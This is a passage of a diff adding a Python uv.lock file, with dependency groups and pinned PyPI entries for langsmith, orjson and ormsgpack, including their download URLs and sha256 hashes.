}, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, +] + +[package.metadata] +requires-dist = [{ name = "langgraph-checkpoint", editable = "../checkpoint" }] + +[package.metadata.requires-dev] +dev = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, + { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, + { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, + { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, + { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, + { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, + { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, + { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, + { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, + { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, + { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, + { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, + { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, + { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, + { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, + { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, + { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, + { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, + { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, + { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, + { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, + { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, + { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, + { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, + { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, + { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, + { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, + { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, + { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, + { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, + { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, + { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, + { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, + { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, + { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, + { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, + { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, + { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, + { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, + { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, + { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, + { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, + { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, + { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = 